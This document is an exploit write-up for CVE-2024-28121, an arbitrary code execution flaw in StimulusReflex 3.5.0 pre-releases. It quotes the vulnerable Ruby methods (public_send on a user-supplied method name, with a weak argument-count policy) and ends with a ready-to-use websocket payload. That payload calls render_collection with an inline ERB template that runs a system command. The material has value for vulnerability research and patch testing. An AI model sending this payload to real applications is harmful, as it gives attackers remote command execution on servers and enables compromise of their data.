StimulusReflex 3.5.0 Arbitrary Code Execution Exploit

StimulusReflex CVE-2024-28121

Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.

## Vulnerable code excerpt

stimulus_reflex/lib/stimulus_reflex/reflex.rb
```
  # Invoke the reflex action specified by `name` and run all callbacks
  def process(name, *args)
    run_callbacks(:process) { public_send(name, *args) }
  end
```

stimulus_reflex/app/channels/stimulus_reflex/channel.rb
```
  def delegate_call_to_reflex(reflex)
    method_name = reflex.method_name
    arguments = reflex.data.arguments
    method = reflex.method(method_name)

    policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)

    if policy.no_arguments?
      reflex.process(method_name)
    elsif policy.arguments?
      reflex.process(method_name, *arguments)
    else
      raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
    end
  end
```

stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
```
module StimulusReflex
  class ReflexMethodInvocationPolicy
    attr_reader :arguments, :required_params, :optional_params

    def initialize(method, arguments)
      @arguments = arguments
      @required_params = method.parameters.select { |(kind, _)| kind == :req }
      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }
    end

    def no_arguments?
      arguments.size == 0 && required_params.size == 0
    end

    def arguments?
      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
    end

    def unknown?
      return false if no_arguments?
      return false if arguments?

      true
    end
  end
end
```

## Payload

Find a websocket message with target and args.
```
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]
```